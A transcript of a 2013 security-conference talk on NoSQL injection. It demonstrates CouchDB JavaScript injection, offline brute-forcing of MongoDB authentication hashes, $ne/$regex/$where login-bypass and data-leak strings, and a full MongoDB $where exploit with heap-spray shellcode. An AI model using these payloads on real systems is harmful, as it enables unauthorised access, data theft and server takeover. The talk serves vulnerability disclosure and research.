StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

36
No SQL injection but NoSQL Injection NoSecurity or not ? 1

description

La mouvance NoSQL fait de plus en plus parler d'elle. La plupart du temps open source, les implémentations sont nombreuses et offrent des alternatives intéressantes à la rigidité du SQL. Malheureusement ces diverses solutions NoSQL (MongoDB, CouchDB, Cassandra...) débarquent avec NoSecurity. Nous verrons que, tout comme le SQL, une mauvaise utilisation des clients/drivers peut avoir des conséquences tout aussi critique, si ce n'est plus...

Transcript of StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

Page 1: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

No SQL injection but NoSQL Injection

NoSecurity or not ?

1

Page 2: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

2

Plans

› What's/Why NoSQL ?

› Work in progress› Cassandra› CouchDB

› Mass pwnage...

Page 3: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

3

NoSQL fashion way of life

› Database system› ''Not only SQL''› More simple› Flexible Schema› Easier scalability/replication› No SQL language› Young and hipster

Page 4: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

4

NoSQL Hipsters

Page 5: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

5

Cassandra

› Key-Value based› Java› HomeMade Protocol› Port 9160› SSL available› Authentication available› CQL

Page 6: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

6

Cassandra › Let's find CQL injection› Cassandra model

› Keyspace (=database)› ColumnFamily (=table)› Key with no fixed Columns

› OR 1=1 ?

Page 7: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

7

Cassandra › WHERE CONDITION

› No OR› No UNION› No subrequests› Term must be indexed

columns

Page 8: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

8

To be continued...

Page 9: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

9

CouchDB

› Documents based› Erlang› RESTfull protocol› SSL available› Port 5984› Authentication available› Javascript based

Page 10: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

10

CouchDB - RESTfull

› Use HTTP protocol only› GET, PUT, POST, DELETE...

› curl -X PUT http://localhost:5984/test/

› curl -X POST http://localhost:5984/test/ -H "Content-Type:

application/json" -d {name : 'value'}

› curl -X GET http://localhost:5984/test/_all_docs

› curl -X DELETE http://localhost:5984/test/

› CSRF ?› SOP protected

Page 11: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

11

CouchDB - Javascript

› JSON documents

› Special _design documents› views› shows› lists› validate_doc_update

› All in JS› SSJI ?

Page 12: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

12

CouchDB - SSJI

› No function rewriting› No variable leak

› _design leak

curl -X GET http://localhost:5984/my_db/_design/articles/_show/eval/?test=JSON.stringify(this.validate_doc_update)

"function(newDoc, oldDoc, userCtx) { if(newDoc.auth!='secret') { throw('NO!'); } }"

Page 13: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

13

To be continued...

Page 14: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

14

0day inside

Page 15: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

15

mongoDB

› Documents based› C/C++› Home Made protocol› SSL available› Port 27017› Authentication available› Javascript based

Page 16: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

16

mongoDB – Home Made Protocol› Bson based› Challenge response authentication

Nonce : e16fb6a8c31ac15aUser : agix

Key : 3f5c7a073c3fb54c96b860b7f397bfc7

Page 17: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

17

./src/mongo/client/dbclient.cpp

Nonce : e16fb6a8c31ac15aUser : agix

Key : 3f5c7a073c3fb54c96b860b7f397bfc7

Page 18: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

18

mongoDB – Home Made Protocolkey=md5(nonce+username+md5(username+':mongo :'+clearPassword))

Bruteforce !› md5('agix:mongo:toto')='1fdea392256218a5f3afa9918733fab4'› md5('e16fb6a8c31ac15aagix1fdea392256218a5f3afa9918733fab4')=› e16fb6a8c31ac15aagix1fdea392256218a5f3afa9918733fab4!=key›

› md5('agix:mongo:password')='725d67fffa6b8fc54b6950407f9dc810'› md5('e16fb6a8c31ac15aagix725d67fffa6b8fc54b6950407f9dc810')=› '3f5c7a073c3fb54c96b860b7f397bfc7'==key

Key : 3f5c7a073c3fb54c96b860b7f397bfc7›

Page 19: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

19

mongoDB – Associative Array

› DatabaseCollections

Documents› Data manipulation with JSON array

› db.my_collection.insert({key_name:"value",my_array:[1,2,3],

my_assoc_array:{key1_name:"value",key2_name:"value"}})

› db.my_collection.find({key_name : "value"})

› Special KeyName : operator

Page 20: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

20

mongoDB – operators

› Only on update and find query› Conditions

› Comparison ($gt, $in, $ne...)› Logical ($and, $or, $nor, $not)› Element ($exists, $type, $mod)› Javascript ($where, $regex)

› Data manipulation with JSON array› db.my_collection.find({key_name : {$exists:true, $in:[1,2,3]}})

Page 21: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

21

mongoDB –

Page 22: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

22

mongoDB –

› $_POST is an array › login=test&pass=test => {'login' : 'test', 'pass' : 'test'}

› $_POST can be an associative array› login[$ne]=test&pass[$ne]=test => {'login' : {'$ne' : 'test'},

'pass' : {'$ne' : 'test'}}

Page 23: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

23

mongoDB –

› Authentication bypass

› Informations leak ?› login[$regex]=^.{4}$&pass[$ne]=test => {'login' : {'$regex' :

'^a.*'}, 'pass' : {'$ne' : 'test'}}› login[$regex]=^a.*$&pass[$ne]=test => {'login' : {'$regex' :

'^a.*'}, 'pass' : {'$ne' : 'test'}}

Page 24: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

24

mongoDB –

› $regex to get actual document leak› More leak ?

› $WHERE !

› $where=1==1&login[$exists]=test&pass[$exists]=test

Page 25: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

25

mongoDB – Blind true/false based

› db.getCollectionNames().length

› db.getCollectionNames()[0][0]

› tojson(db.secret.find({},{_id:0})[0])[3]

Page 26: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

26

mongoDB – What else› Check javascript methods on mongo website

› http://docs.mongodb.org/manual/reference/method/run/

› Let's check internal usage...

Page 27: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

27

mongoDB – SSJI => RCE

function apply() { [native code]}

function () { return nativeHelper.apply(run_, arguments);}

run

nativeHelper.apply

Page 28: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

28

./src/mongo/scripting/engine_spidermonkey.cpp

function apply() { [native code]}

function () { return nativeHelper.apply(run_, arguments);}

run

nativeHelper.apply

Page 29: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

29

mongoDB – SSJI => RCE$where=nativeHelper.apply({"x" : 0x31337},

[])&login[$exists]=test&pass[$exists]=test

Page 30: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

30

mongoDB – Exploitation

› JAVASCRIPT SERVER SIDE EXPLOIT !

› Write reliable exploit› 32 bits binary› NX bypass› ASLR bypass

› Not stack overflow› No stack control› EIP is not enough

Page 31: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

31

mongoDB – Exploitationdb.my_collection.find({'$where':'tag=unescape("%udb31%ue3f7%u4353%u6a53%u8902%ub0e1%ucd66%u9380%ub059%ucd3f%u4980%uf979%uac68%u9310%u6801%u0002%u697a%ue189%u66b0%u5150%ub353%u8903%ucde1%u5280%u2f68%u732f%u6868%u622f%u6e69%ue389%u5352%ue189%u0bb0%u80cd"); sizechunk=0x1000; chunk=""; for(i=0;i<sizechunk;i++){ chunk+=unescape("%u9090%u9090"); } chunk=chunk.substring(0,(sizechunk-tag.length)); testarray=new Array(); for(i=0;i<25000;i++){ testarray[i]=chunk+tag; } tag2=unescape("%uf768%u0816%u0c0c%u0c0c%u0000%u0c0c%u1000%u0000%u0007%u0000%u0031%u0000%uffff%uffff%u0000%u0000"); sizechunk2=0x1000; chunk2=""; for(i=0;i<sizechunk2;i++){ chunk2+=unescape("%u5a70%u0805"); } chunk2=chunk2.substring(0,(sizechunk2-tag2.length)); testarray2=new Array(); for(i=0;i<25000;i++){ testarray2[i]=chunk2+tag2; } nativeHelper.apply({"x" : 0x836e204}, ["A"+"\x26\x18\x35\x08"+"MongoSploit!"+"\x58\x71\x45\x08"+"sthack is a nice place to be"+"\x6c\x5a\x05\x08"+"\x20\x20\x20\x20"+"\x58\x71\x45\x08"]);','login':{$exists:'toto'},'pass':{$exists:'toto'}})

Page 32: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

32

mongoDB – Exploitation

› Land to the stack› PIVOT 1

› [Eax] => pointer+0xb => nativeHelper argument› Gadget 1 : Mov eax, [eax] … call [eax+0x1c]› nativeHelper argument is UTF8 encoded without null

byte› eax+0x1c : gadget 2 : xchg esp, eax [inc esp], ret› Esp-1 => begining of nativeHelper argument› Gadget 3 : [inc esp] to clean stack control

Page 33: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

33

mongoDB – Exploitation

› Control the stack› UTF8 and no null byte in nativeHelper argument› PIVOT 2 => to the rop chain heap sprayed

› Gadget 4 : pop eax, ... ret› Eax => rop chain in the heap (0x20202020)› Gadget 5 : xchg esp,eax … ret› RetSled› Stack control done !

Page 34: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

34

mongoDB – Exploitation

› Execute shellcode› First Heap Spray with nopsled+shellcode› mmap RWX the heap› Jump to the heap (0x0C0C0C0C)› Enjoy !

Page 35: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

35

mongoDB – Exploitation

› To improve› Heap spray is for pork !› 64 bits exploit... (null byte :o :o :o)› Windows exploit› Multiple version exploit

Page 36: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

36

The end

› Still mongo 0day \o/› A lot of work to do...

› NoSQL is not so bad !